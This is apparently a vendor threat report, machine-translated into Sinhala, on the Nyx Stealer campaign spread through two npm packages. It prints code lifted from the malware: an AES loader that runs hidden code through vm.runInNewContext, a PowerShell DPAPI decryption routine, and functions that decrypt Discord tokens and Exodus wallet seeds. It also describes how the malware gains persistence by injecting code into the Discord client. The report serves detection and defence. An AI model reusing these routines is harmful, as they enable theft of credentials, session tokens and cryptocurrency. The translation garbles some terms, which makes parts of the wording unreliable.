TL; ඩී
සයිජෙනි ආරක්ෂක පර්යේෂණ කණ්ඩායම ද්වේශසහගත පැකේජ දෙකක් හරහා ලබා දෙන නවීන npm තොරතුරු ස්ටීලර් ව්යාපාරයක් හඳුනාගෙන ඇත: සැනසිල්ල සහ සෙල්ෆ්බොට්-ලොෆි.
නවතම අනුවාදය (consolelofy@1.3.0) 216KB AES-සංකේතනය කළ ගෙවීමක් ඇතුළත් කරයි, එය ධාවන වේලාවේදී විකේතනය කර හරහා ක්රියාත්මක කරයි. vm.runInNewContext(). ද්වේශ සහගත තර්කනය සම්පූර්ණයෙන්ම සංකේතනය කර ඇති නිසා, නූල් පරීක්ෂාව මත රඳා පවතින ස්ථිතික ස්කෑනර් යන්ත්රවලට ක්රියාත්මක කිරීමේ කාලය තෙක් එහි හැසිරීම නිරීක්ෂණය කළ නොහැක.
විකේතනය කළ පසු, ගෙවීම් භාරය, අභ්යන්තරව සන්නාමගත කර ඇත නයික්ස් ස්ටීලර්, ඉලක්ක:
- සත්යාපන ටෝකන විසන්ධි කරන්න
- බ්රව්සර් අක්තපත්ර වෙළඳසැල් 50+ ක්
- 90+ ක්රිප්ටෝ මුදල් පසුම්බි දිගු
- Roblox, Instagram, Spotify, Steam, Telegram, සහ TikTok සැසි
- ඩෙස්ක්ටොප් සේවාදායක නොනැසී පැවතීම අසමගිය
පැකේජ දෙකෙහිම අනුවාද 20ම වාර්තා කර ඇති අතර ඒවා අනිෂ්ට බව තහවුරු කර ඇත.
මෙම npm තොරතුරු ගබඩාවේ තාක්ෂණික දළ විශ්ලේෂණය
සාම්ප්රදායික ස්ථාපන-කාල අනිෂ්ට මෘදුකාංග මෙන් නොව, මෙම ව්යාපාරය රඳා පවතින්නේ ධාවන කාලය විකේතන ආකෘතිය.
ඒ තියෙන්නේ:
- ද්වේෂ සහගත නැත
preinstallorpostinstallhooks - පැහැදිලි ස්ථාපන-කාල ජාල ඇමතුම් නොමැත.
- සරල පෙළ අක්තපත්ර අස්වනු නෙලීමේ තර්කයක් නොමැත
මොඩියුලය ආයාත කළ විට ගෙවීම් භාරය සක්රිය වේ. සම්පූර්ණ අනිෂ්ට ශරීරයම සංකේතනය කර ඇති අතර ධාවන වේලාවේදී මතකයේ පමණක් ක්රියාත්මක වේ.
මෙම සැලසුම විශේෂයෙන් පැකේජ ස්ථාපනය අතරතුර අනාවරණය වීම වළක්වයි.
මෙම npm තොරතුරු ගබඩාව සැබවින්ම ක්රියාත්මක වන ආකාරය
Nyx Stealer සොරකම් කරන දේ විශ්ලේෂණය කිරීමට පෙර, අප තේරුම් ගත යුත්තේ එය ක්රියාත්මක වන ආකාරය.
මෙම npm තොරතුරු ගබඩාව තුළ ඇති ද්වේෂසහගත තර්කනය ස්ථාවර රටාවක් අනුගමනය කරයි:
කුඩා ලෝඩරයක් විශාල සංකේතාත්මක ගෙවීම් බරක් විකේතනය කර Node.js VM සන්දර්භයක් තුළ ගතිකව ක්රියාත්මක කරයි.
මෙම සැලසුම හිතාමතා කරන ලද්දකි. ප්රහාරකයා ක්රියාකාරීත්වය සඟවන්නේ අපැහැදිලි කිරීම පිටුපස පමණක් නොවේ, ඔවුන් ස්ථිතික දෘශ්යතාවයෙන් අනිෂ්ට කේතය සම්පූර්ණයෙන්ම ඉවත් කිරීම.
ඉහළ මට්ටමේ ක්රියාත්මක කිරීමේ ආකෘතිය
ඉහළ මට්ටමක දී, එතුම දේවල් හතරක් කරයි:
- SHA-256 භාවිතයෙන් දෘඪ කේතනය කළ මුරපද වාක්ය ඛණ්ඩයකින් AES යතුරක් ලබා ගනී.
- AES-256-CBC භාවිතයෙන් විශාල ෂඩ්-කේතනය කළ කේතාංක පෙළක් විකේතනය කරයි.
- විකේතනය කළ ජාවාස්ක්රිප්ට් ක්රියාත්මක කරන්නේ
vm.runInNewContext() - තවමත් බලගතු ධාවන කාල ප්රාථමික නිරාවරණය කරන වැලිපිල්ල සපයයි.
මූලික තාක්ෂණික සාරාංශය
| සංරචකය | වින්යාසය / අගය |
|---|---|
| ඇල්ගොරිතම | AES-256-CBC හඳුන්වා දීම |
| ප්රධාන ව්යුත්පන්න | SHA-256(මුරපදය) |
| ආරම්භක දෛශිකය (IV) | 0x00 න් බයිට් 16 ක් |
| ක්රියාත්මක | vm.runInNewContext(විකේතනය කළ, වැලිපිල්ල) |
තීරණාත්මකව, වැලිපිල්ල පහත සඳහන් දෑ හරහා ගමන් කරයි:
requireprocessBuffer- ටයිමර්ස්
- මොඩියුල අපනයන
මෙයින් අදහස් කරන්නේ විකේතනය කරන ලද ගෙවීමේ බර සම්පූර්ණ හැකියාව රඳවා ගන්නා බවයි:
- ස්පෝන් ක්රියාවලි
- ගොනු කියවන්න සහ ලියන්න
- ජාල ඇමතුම් ලබා ගන්න
- දේශීය යෙදුම් වෙනස් කරන්න
මෙය සීමා කරන ලද VM එකක් නොවේ. එය ක්රියාත්මක කිරීමේ ට්රැම්පොලීන් එකක් ලෙස භාවිතා කරන VM එකකි.
ධාවන කාල සංකේතාංකන රටාව (මූලික ක්රියාත්මක කිරීමේ යාන්ත්රණය)
පැටවුම කුඩායි.
ද්වේෂසහගත ශරීරය එසේ නොවේ.
පැකේජය තුළ ඇති ක්රියාත්මක කිරීමේ රටාව පහත දැක්වේ:
const crypto = require('crypto'); const vm = require('vm'); function decryptAndExecute(encryptedHex, passphrase) { const key = crypto.createHash('sha256') .update(passphrase) .digest(); const iv = Buffer.alloc(16, 0); const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv); let decrypted = decipher.update(encryptedHex, 'hex', 'utf8'); decrypted += decipher.final('utf8'); const sandbox = { require, module, exports, console, process, Buffer, __dirname, __filename, setTimeout, setInterval, clearTimeout, clearInterval }; vm.runInNewContext(decrypted, sandbox); }මෙය වැදගත් වන්නේ ඇයි
විකේතනය කළ බර:
- කරන්නේ නැත npm පැකේජය තුළ සරල පෙළෙහි පවතී
- සරල අයට නොපෙනේ
grepහෝ ස්ථිතික නූල් ස්කෑන් කිරීම - ධාවන වේලාවේදී පමණක් මතකයේ ක්රියාත්මක වේ
- සම්පූර්ණ Node ධාවන කාල හැකියාවන් සමඟ ක්රියාත්මක වේ
මෙම AES + VM ක්රියාත්මක කිරීමේ සංයෝජනය යනු npm තොරතුරු සෙවුම්කරු ස්ථිතික පරීක්ෂාව මග හැරීමට උත්සාහ කරයි.
වෙනත් විදිහකින්:
ඔබ පැකේජ මූලාශ්ර ගස පරිලෝකනය කළහොත්, ඔබට සොරකම් කරන්නෙකු නොපෙනේ.
ඔබට විකේතන යන්ත්රයක් පෙනෙනවා.
විකේතනයෙන් පසු සිදුවන්නේ කුමක්ද?
ක්රියාත්මක කළ පසු, Nyx Stealer සමාන්තර දත්ත එකතු කිරීමේ තරංග දියත් කරයි.
රැල්ල 1: බ්රව්සර් අක්තපත්ර උපුටා ගැනීම
අනිෂ්ට මෘදුකාංග:
- NuGet CDN වෙතින් Python ධාවන කාලයක් බාගත කරයි.
- ගුප්ත ලේඛන පුස්තකාල ස්ථාපනය කරයි
- Chromium-පාදක අක්තපත්ර ගබඩා උපුටා ගනී
- DPAPI-ආරක්ෂිත රහස් විකේතනය කරයි
ස්වදේශීය බන්ධන සම්පාදනය කිරීම වෙනුවට, එය Windows DPAPI කෙලින්ම ඇමතීමට PowerShell භාවිතා කරයි.
function dpapiUnprotectWithPowerShell(dataBuf) { const b64 = dataBuf.toString('base64'); const ps = "Add-Type -AssemblyName System.Security;" + "$b=[Convert]::FromBase64String('" + b64 + "');" + "$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" + "$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" + "[Console]::Out.Write([Convert]::ToBase64String($p))"; const cmd = `powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`; return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64'); }මෙම ප්රවේශය:
- සම්පාදන කෞතුක වස්තු වළක්වයි
- ස්වදේශීය Windows crypto API භාවිතා කරයි
- පරිපාලන මෙවලම් වලට මිශ්ර වේ
එය OS මට්ටමේ අක්තපත්ර විකේතනයකි, සීරීම නොවේ.
රැල්ල 2: ඩිස්කෝඩ් ටෝකන් විකේතනය
සොරකම් කරන්නා ප්රොටෝකෝලය ගැන දැනුවත් ය. එය Discord හි සංකේතාත්මක ටෝකන් ආකෘතිය තේරුම් ගනී.
function decryptToken(encryptedToken, key) { const tokenParts = encryptedToken.split('dQw4w9WgXcQ:'); const encryptedData = Buffer.from(tokenParts[1], 'base64'); const iv = encryptedData.slice(3, 15); const ciphertext = encryptedData.slice(15, -16); const tag = encryptedData.slice(-16); const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv); decipher.setAuthTag(tag); return decipher.update(ciphertext).toString('utf8'); }මෙහෙයුම් ප්රවාහය:
- ඩිස්කෝඩ් එකෙන් මාස්ටර් යතුර උපුටා ගන්න
Local State - DPAPI හරහා මාස්ටර් යතුර විකේතනය කරන්න
- AES-GCM ටෝකන් බ්ලොබ් විකේතනය කරන්න
- Discord API වලට එරෙහිව ටෝකන වලංගු කරන්න
- නයිට්රෝ, ලාංඡන, බිල්පත් තොරතුරු සමඟ පොහොසත් කරන්න
මෙය සාමාන්ය අක්තපත්ර ඩම්ප් කිරීමක් නොවේ. එය ප්රොටෝකෝලය-දැනුවත් සැසි පැහැර ගැනීමකි.
රැල්ල 3: ක්රිප්ටෝ මුදල් පසුම්බිය ඉලක්ක කිරීම
npm තොරතුරු සෙවුම්කරු ලැයිස්තුගත කරන්නේ:
- 90+ බ්රව්සර් පසුම්බි දිගු
- ඩෙස්ක්ටොප් පසුම්බි 27ක්
- සීතල මුදල් පසුම්බිය මාර්ග
- Exodus බීජ ගොනු
බීජ විකේතන උත්සාහයේ උදාහරණය:
function decryptSeco(content, password) { const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512'); const decipher = crypto.createDecipheriv( 'aes-256-gcm', key, content.slice(0, 12) ); decipher.setAuthTag(content.slice(-16)); return Buffer.concat([ decipher.update(content.slice(12, -16)), decipher.final() ]).toString('utf8'); }සාර්ථක වුවහොත්, මුදල් පසුම්බිය සම්මුතිය ක්ෂණිකව සහ ආපසු හැරවිය නොහැකි වනු ඇත.
මෙය ව්යාපාරයේ ඉහළම වටිනාකම් සහිත මුදල් ඉපැයීමේ දෛශිකය නියෝජනය කරයි.
Discord Desktop Injection හරහා නොපසුබට උත්සාහය
අක්තපත්ර එකතු කිරීමෙන් පසු, Nyx Stealer දේශීයව වෙනස් කිරීමෙන් නොනැසී සිටීමට උත්සාහ කරයි විකාරයක් පාරිභෝගික.
ඉලක්කය:
%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.jsමෙහෙයුම් අනුපිළිවෙල
තොරතුරු ස්ටීලර් පහත පියවරයන් සිදු කරයි:
- Discord ක්රියාවලි ක්රියාත්මක වීම අවසන් කරයි
- ස්ථාපිත Discord ප්රභේද සොයා ගනී (ස්ථාවර, කැනරි, PTB)
- උඩින් ලියයි
discord_desktop_core/index.js - ප්රහාරකයා විසින් පාලනය කරන ලද වෙබ් හුක් තර්කනය එන්නත් කරයි
- අසමගිය නැවත ආරම්භ කරයි
මෙය අනාගත Discord සැසි ස්වයංක්රීයව නව සත්යාපන ටෝකන කාන්දු වීම සහතික කරයි.
වැදගත් වන්නේ, මෙම නොනැසී පැවතීම කාලසටහන්ගත කාර්යයන් හෝ රෙජිස්ට්රි වෙනස් කිරීම් මත රඳා නොපවතින බවයි. එය යෙදුම් මට්ටමේ කේත වෙනස් කිරීම, වඩාත් රහසිගත ප්රවේශයක් භාවිතා කරයි.
ද්වේශසහගත npm පැකේජය පසුව ඉවත් කළත්, Discord සේවාදායකයා අවදානමට ලක්ව පවතී.
තාක්ෂණික සංසන්දනය: නීත්යානුකූල සෙල්ෆ්බොට් එදිරිව npm Infostealer
| සංරචකය | නීත්යානුකූල පුස්තකාලය | Nyx npm තොරතුරු තාක්ෂණවේදියා |
|---|---|---|
| ගුප්ත කේතනය | නැහැ | සම්පූර්ණ AES-සංකේතනය කළ බර පැටවීම |
| ධාවන කාල VM | අවශ්ය නෑ | vm.runInNewContext ක්රියාත්මක වීම |
| අක්තපත්ර ප්රවේශය | Discord API පමණි | බ්රව්සරය, පසුම්බි, DPAPI |
| බාහිර බාගැනීම් | නැත | NuGet හරහා Python ධාවන කාලය |
| නොපසුබට උත්සාහය | නැත | Discord සේවාදායක එන්නත් කිරීම |
| Monetization | බොට් ස්වයංක්රීයකරණය | අක්තපත්ර නැවත විකිණීම |
සංකේතාංකන ස්ථරය පමණක් දැනටමත් මෙම ව්යාපාරය සාමාන්ය විවෘත මූලාශ්ර දෙබලකින් වෙන් කරයි.
නීත්යානුකූල Discord selfbot එකකට එහි සම්පූර්ණ කේත පදනම සංකේතනය කිරීමට, DPAPI වෙත ප්රවේශ වීමට PowerShell නිර්මාණය කිරීමට, බාහිර ධාවන වේලාවන් බාගත කිරීමට හෝ ඩෙස්ක්ටොප් යෙදුම් අභ්යන්තර වෙනස් කිරීමට කිසිදු හේතුවක් නොමැත. Discord අන්තර්ක්රියා ස්වයංක්රීය කරන බව කියන පරායත්තතාවයක් තුළ එම හැකියාවන් දිස්වන විට, වාස්තු විද්යාත්මක නොගැලපීම නොසලකා හැරිය නොහැකි වනු ඇත.
විමර්ශන දෘෂ්ටි කෝණයකින්, මෙම npm තොරතුරු ස්ටීලර් බහු ස්ථර හරහා සලකුණු තබයි. කෙසේ වෙතත්, වඩාත්ම විශ්වාසදායක දර්ශක දෘඪ කේතනය කළ URL හෝ නිශ්චිත ගොනු මාර්ග නොවේ, මන්ද ඒවා අනුවාද අතර වෙනස් විය හැකිය. ඒ වෙනුවට, කල් පවතින සංඥා ව්යුහාත්මක වේ.
පැකේජ මට්ටමින්, ශක්තිමත්ම රතු ධජය වන්නේ විශාල සංකේතාත්මක ගෙවීමක් සහ ධාවන කාල විකේතන එතුමක සංයෝජනය වන අතර එය වහාම via හරහා ක්රියාත්මක වේ. vm.runInNewContext(). සංකේතනය පමණක් ස්වභාවයෙන්ම ද්වේෂසහගත නොවන අතර, Discord උපයෝගිතා පැකේජයක් තුළ AES විකේතනය සහ ගතික VM ක්රියාත්මක කිරීම භාවිතා කිරීම ඉතා විෂම වේ.
සත්කාරක මට්ටමින්, සැක සහිත රටා අතර අනපේක්ෂිත DPAPI විකේතන ක්රියාකාරකම්, Node.js පරායත්තතා සන්දර්භයකින් ක්රියාවලි බිහිවීම සහ තෙවන පාර්ශවීය පුස්තකාල මගින් කිසි විටෙකත් වෙනස් නොකළ යුතු දේශීය යෙදුම් ගොනු වෙනස් කිරීම ඇතුළත් වේ. ඒ හා සමානව, ජාල ස්ථරයේදී, සංවර්ධන පරායත්තතාවයක් මගින් ආරම්භ කරන ලද පිටතට යන වෙබ් හුක්-විලාසිතාවේ සන්නිවේදනය තවත් අර්ථවත් විෂමතාවයක් නියෝජනය කරයි.
වෙනත් වචන වලින් කිවහොත්, හඳුනාගැනීමේ මතුපිට සම්මුතියේ තනි දර්ශකයක් නොවේ. එය තර්ජනය හෙළි කරන සංකේතනය, ධාවන කාල ක්රියාත්මක කිරීම, අක්තපත්ර ප්රවේශය සහ නොනැසී පවතින හැසිරීමේ සහසම්බන්ධතාවයයි.
සයිජෙනි සමඟ හඳුනා ගැනීම සහ අවම කිරීම
මෙම npm තොරතුරු සොරකම් කරන්නා හඳුනාගනු ලැබුවේ සයිජෙනි හි අනිෂ්ට මෘදුකාංග පූර්ව අනතුරු ඇඟවීම (MEW) සරල අත්සන ගැලපීමට වඩා ස්ථර හැසිරීම් සහසම්බන්ධය හරහා.
දන්නා ද්වේෂසහගත නූල් සෙවීම වෙනුවට, MEW සම්පූර්ණ මූලාශ්ර ගස හරහා ව්යුහාත්මක විෂමතා ඇගයීමට ලක් කරයි. මෙම අවස්ථාවෙහිදී, හඳුනාගැනීම සංඥා කිහිපයක අභිසාරීතාවයෙන් මතු විය: මොඩියුල පිවිසුම් ස්ථානයේ ඇතුළත් කළ AES විකේතන චර්යාවක්, VM සන්දර්භයක් තුළ ක්ෂණිකව ක්රියාත්මක කිරීම සහ පැහැදිලි ධාරිතාව-අභිප්රාය නොගැලපීම.
වැදගත් වන්නේ, මෙම සංඥා කිසිවක් ද්වේෂසහගත චේතනාව ඔප්පු නොකරයි. කෙසේ වෙතත්, එකට විශ්ලේෂණය කළ විට, ඒවා ධාවන කාල හැසිරීම සැඟවීමට දරන උත්සාහයක් හෙළි කරයි. මෙම ස්ථර ප්රවේශය ඉහළ විශ්වාසනීය සැපයුම් දාම තර්ජන හඳුනා ගන්නා අතරම ව්යාජ ධනාත්මක බව සැලකිය යුතු ලෙස අඩු කරයි.
තවද, ස්ථාපන-කාල පරීක්ෂාව පමණක් ප්රමාණවත් නොවන්නේ මන්දැයි මෙම අවස්ථාවෙන් පැහැදිලි වේ. ද්වේෂසහගත තර්කනය ජීවන චක්ර ස්ක්රිප්ට් වල නොපවතී. එය ක්රියාත්මක වන්නේ මොඩියුලය පූරණය වූ පසුව පමණක් වන අතර මතකයේ විකේතනය කළ පසු පමණක් දෘශ්යමාන වේ. එබැවින්, ඵලදායී ආරක්ෂාව සඳහා සංකේතාංකන-දැනුවත් විශ්ලේෂණය, හැසිරීම් රටා හඳුනාගැනීම සහ ස්ථාපන සිදුවීම් වලින් ඔබ්බට අඛණ්ඩ යැපීම් නිරීක්ෂණය අවශ්ය වේ.
රෙජිස්ට්රි ඉවත් කිරීම ප්රතික්රියාශීලීයි. ධාවන කාල-දැනුවත් විශ්ලේෂණය වැළැක්වීමයි.
මෙම npm තොරතුරු ගබඩාව වැදගත් වන්නේ ඇයි?
Nyx Stealer යනු npm-පාදක අනිෂ්ට මෘදුකාංගවල ව්යුහාත්මක පරිණාමයක් නියෝජනය කරයි.
ඓතිහාසිකව, බොහෝ අනිෂ්ට පැකේජ දෘශ්ය ස්ථාපන-කාල ස්ක්රිප්ට් හෝ පැහැදිලි අක්තපත්ර පිටකිරීමේ අන්ත ලක්ෂ්ය මත විශ්වාසය තැබීය. ඊට වෙනස්ව, මෙම ව්යාපාරය එහි ගෙවීම සංකේතනය කරයි, ක්රියාත්මක කිරීම ධාවන කාලයට කල් දමයි, නීත්යානුකූල මෙහෙයුම් පද්ධති API භාවිතා කරයි, සහ විශ්වාසදායක යෙදුම් තුළ නොනැසී පැවතීම ස්ථාපිත කරයි.
එහි ප්රතිඵලයක් ලෙස, ප්රහාරකයාට npm යටිතල පහසුකම්ම සූරාකෑමට අවශ්ය නොවේ. ඒ වෙනුවට, යැපීම් ස්ථාපනය විශ්වාසය අදහස් කරන බැවින් ප්රහාරය සාර්ථක වේ. සංවර්ධකයින් උපකල්පනය කරන්නේ පුස්තකාලයක් ආනයනය කිරීම ආරක්ෂිත මෙහෙයුමක් බවයි, විශේෂයෙන් එය ජනප්රිය මෙවලමක පිළිගත හැකි දෙබලක් ලෙස ඉදිරිපත් වන විට.
පරිසර පද්ධති අඛණ්ඩව වර්ධනය වන විට සහ දෙබලක ප්රගුණනය වන විට, එම ව්යංග විශ්වාස සීමාව වඩ වඩාත් ආකර්ශනීය ප්රහාරක මතුපිටක් බවට පත්වේ. එබැවින්, නවීන npm තොරතුරු සොරකම් කරන්නන්ට එරෙහිව ආරක්ෂා කිරීම සඳහා ස්ථිතික නූල් සෙවීමට වඩා වාස්තු විද්යාත්මක රටා හඳුනා ගැනීම අවශ්ය වේ.
අවසාන වශයෙන්, මෙම ව්යාපාරය තීරණාත්මක පාඩමක් ශක්තිමත් කරයි software supply chain security: වඩාත්ම භයානක තර්ජන වන්නේ මුලින්ම බැලූ බැල්මට ද්වේෂසහගත ලෙස පෙනෙන ඒවා නොව, ධාවන කාලය ඔවුන්ගේ සැබෑ හැසිරීම හෙළි කරන තෙක් ව්යුහාත්මකව නීත්යානුකූල ලෙස පෙනෙන ඒවාය.
